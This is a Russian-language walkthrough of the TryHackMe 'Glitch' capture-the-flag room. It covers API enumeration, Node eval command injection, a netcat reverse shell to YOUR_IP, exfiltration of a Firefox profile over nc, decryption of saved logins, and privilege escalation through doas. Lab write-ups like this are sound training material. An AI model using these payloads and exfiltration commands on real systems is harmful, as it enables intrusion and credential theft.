Снова получайте удовольствие от TryHackMe. Итак, вот описание и руководство по прохождению этого испытания Glitch.
Комната: https://tryhackme.com/room/glitch
Уровень: Легкий
Задание. Попробуйте продемонстрировать веб-приложение и простое повышение привилегий. Сможешь найти глюк?
Давайте начнем
Как обычно, запускаем машину и открываем IP в браузере (появилось минут 10. Не знаю почему)
Просто пустая страница с глючными обоями. При открытии консоли есть конечная точка API. Откроем в браузере
О!, есть жетон. Но это не ответ. Похоже на base64. Используя кибершеф,
Первый флаг готов! Двигайтесь дальше… Продолжайте расследование…
Из запроса есть Cookie по умолчанию как token=value
. Давайте изменим это
document.cookie="token=**************"
и обновите страницу. Похоже, не меняется. Попробуйте POST
# curl -X POST http://10.10.82.X/api/access --cookie "token=**************" <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <title>Error</title> </head> <body> <pre>Cannot POST /api/access</pre> </body> </html>
Не бери в голову. Просто запустите feroxbuster из /api
# feroxbuster — url http://10.10.82.X/api -w ~/dirb/big.txt -t 20 🎯 Target Url │ http://10.10.82.X/api 🚀 Threads │ 20 📖 Wordlist │ ~/dirb/big.txt 👌 Status Codes │ [200, 204, 301, 302, 307, 308, 401, 403, 405] 💥 Timeout (secs) │ 7 🦡 User-Agent │ feroxbuster/2.2.3 💉 Config File │ /usr/local/bin/ferox-config.toml 🔃 Recursion Depth │ 4 ───────────────────────────┴────────────────────── 🏁 Press [ENTER] to use the Scan Cancel Menu™ ────────────────────────────────────────────────── 200 1l 1w 36c http://10.10.82.X/api/access 200 1l 1w 169c http://10.10.82.X/api/items [####################] — 3m 20468/20468 0s found:2 errors:0 [####################] — 3m 20468/20468 101/s http://10.10.82.X/api
Найдена еще одна скрытая конечная точка. /апи/предметы
# curl -X GET http://10.10.82.X/api/items {"sins":["lust","gluttony","greed","sloth","wrath","envy","pride"],"errors":["error","error","error","error","error","error","error","error","error"],"deaths":["death"]}
Хм.. не знаю, что это значит. К этому моменту cookie больше не является обязательным. Возможно в системе какой-то сбой. Хе-хе... Кстати, продолжайте пробовать использовать POST,
# curl -X POST http://10.10.82.X/api/items {"message":"there_is_a_glitch_in_the_matrix"}
Есть сообщение. Здесь должно быть что-то скрыто. Может скрытый параметр? Более быстрый способ проверки с помощью Arjun,
# arjun -u http://10.10.7.149/api/items -m POST -w ~/wordlists/wfuzz/general/common.txt Probing the target for stability Analysing HTTP response for anamolies Analysing HTTP response for potential parameter names Logicforcing the URL endpoint
Нет результата, ммм. Я думаю, нужно использовать WFuzz. Запуск wfuzz с использованием того же диктофона…
# wfuzz -z file,wordlists/wfuzz/general/common.txt -c -d "testing" --hc 400,401,403,404 http://10.10.X.X/api/items\?FUZZ\=testing Target: http://10.10.X.X/api/items?FUZZ=testing Total requests: 950 ==================================================================== ID Response Lines Word Chars Payload ==================================================================== 000000201: 500 10 L 64 W 1084 Ch "cmd"
«CMD» хорошо.. есть параметр cmd, который изменяет ответ страницы. Посмотрим
# curl -X POST http://10.10.X.X/api/items?cmd=test .... .... <pre>ReferenceError: test is not defined<br> at eval (eval at router.post (/var/web/routes/api.js:25:60) ....
Хорошо…, давайте проверим, может ли быть реверсивный шелл. Ссылаясь на этот гитхаб,
require('child_process').exec('nc -e /bin/sh YOUR_IP 1234')
Сначала запустите nc -nvlp 1234
. Затем попробуйте использовать это,
# curl -X POST -G http://10.10.X.X/api/items --data-urlencode "cmd=require('child_process').exec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc YOUR_IP 1234 >/tmp/f')" vulnerability_exploited [object Object]
Сообщение обнаруживает уязвимость, и, к счастью, обратная оболочка работает
Connection from 10.10.X.X:55038 /bin/sh: 0: can’t access tty; job control turned off $
Прежде всего, сначала обновите терминал,
# python -c 'import pty; pty.spawn("/bin/bash")'
Теперь найдите файл user.txt.
# ls -al ~/ drwxr-xr-x 8 user user 4096 Jan 27 10:33 . drwxr-xr-x 4 root root 4096 Jan 15 14:13 .. -rw-rw-r-- 1 user user 22 Jan 4 15:29 user.txt # cat ~/user.txt THM{XXXXXXXXXXXXXXXXX}
Хорошо, Рут!
Из того же каталога
# ls -al lrwxrwxrwx 1 root root 9 Jan 21 09:05 .bash_history -> /dev/null -rw-r--r-- 1 user user 3771 Apr 4 2018 .bashrc drwx------ 2 user user 4096 Jan 4 13:41 .cache drwxrwxrwx 4 user user 4096 Jan 27 10:32 .firefox drwx------ 3 user user 4096 Jan 4 13:41 .gnupg drwxr-xr-x 270 user user 12288 Jan 4 14:07 .npm drwxrwxr-x 5 user user 4096 Apr 6 06:08 .pm2 drwx------ 2 user user 4096 Jan 21 08:47 .ssh -rw-rw-r-- 1 user user 22 Jan 4 15:29 user.txt
Полное разрешение для папки .firefox.
# ls -al .firefox drwxrwxrwx 11 user user 4096 Jan 27 10:32 b5w4643p.default-release drwxrwxrwx 3 user user 4096 Jan 27 10:32 'Crash Reports' -rwxrwxr-x 1 user user 259 Jan 27 10:32 profiles.ini
На самом деле это хранилище Firefox, которое содержит конфиденциальную информацию. Развернуть, найти b5w4643p.default-release/login.json
{"nextId":2,"logins":[{"id":1,"hostname":"https://glitch.thm","httpRealm":null,"formSubmitURL":"","usernameField":"","passwordField":"","encryptedUsername":"MDIEEPgAAAAAAAAAAAAAAAAAAAEwFAYIKoZIhvcNAwcECCP5HBZJq0+DBAjWdWrk7qo4eA==","encryptedPassword":"MDoEEPgAAAAAAAAAAAAAAAAAAAEwFAYIKoZIhvcNAwcECPfxo08d5UxEBBB9aJ+chJC2pDccxKhqs1UH","guid":"{9c80e9f2-0377-496e-9404-4411eb94783b}","encType":1,"timeCreated":1610645982812,"timeLastUsed":1610645982812,"timePasswordChanged":1610645982812,"timesUsed":1}],"potentiallyVulnerablePasswords":[],"dismissedBreachAlertsByLoginGUID":{},"version":3}
Все зашифровано. Поискал расшифровщик и нашел это репозиторий. Батт, не удалось клонировать git внутри машины-жертвы. Итак, мы можем использовать netcat для загрузки этой папки Firefox. Заархивируйте сначала
# tar -czvf firefox.tar.gz .firefox
Хорошо, теперь с машины-жертвы запустите эту команду netcat
# nc YOUR_IP 4444 -w 3 < ~/firefox.tar.g
И из местных, слушай
# nc -lvp 4444 > ~/Downloads/firefox.tar.gz Connection from 10.10.X.X:60726
Хорошо, он успешно загружен. Извлеките его и запустите расшифровщик firefox.
# python3 firefox_decrypt.py ~/Downloads/.firefox Select the Mozilla profile you wish to decrypt 1 -> hknqkrn7.default 2 -> b5w4643p.default-release 2 Website: https://glitch.thm Username: 'v0id' Password: 'XXXXXXXXXXXX'
Ой! Это быстро. Давайте использовать как SSH для входа в систему как v0id
пользователь
# ssh [email protected] ssh: connect to host 10.10.7.149 port 22: Operation timed out
Хорошо, ssh невозможен, тогда попробуйте su изнутри машины жертвы
# su v0id password: XXXXXXXXXXX v0id@ubuntu:~$
Успех! Это работает…
# ls /root ls: cannot open directory '/root': Permission denied # sudo -l password: Sorry, user v0id may not run sudo on ubuntu.
Давайте посмотрим на подсказку, и она говорит: «sudo is bloat». Попробуйте поискать в Google, и первая запись гласила: «Sudo Is Bloat. Вместо этого используйте Doas!». Затем я набираю команду doas
v0id@ubuntu:/home/user$ doas usage: doas [-nSs] [-a style] [-C config] [-u user] command [args]
Его аргумент команды принятия. Давайте попробуем, может ли он получить доступ к корневой папке
# doas ls /root password: XXXXXXXXXXXXX clean.sh root.txt
Ха-ха! Просто может cat
командовать файлом тогда
# doas cat /root/root.txt password: XXXXXXXXXXXXXX THM{XXXXXXXXXXXXXXXXXXXX}
Сделанный!!!
~~~Удачного взлома~~~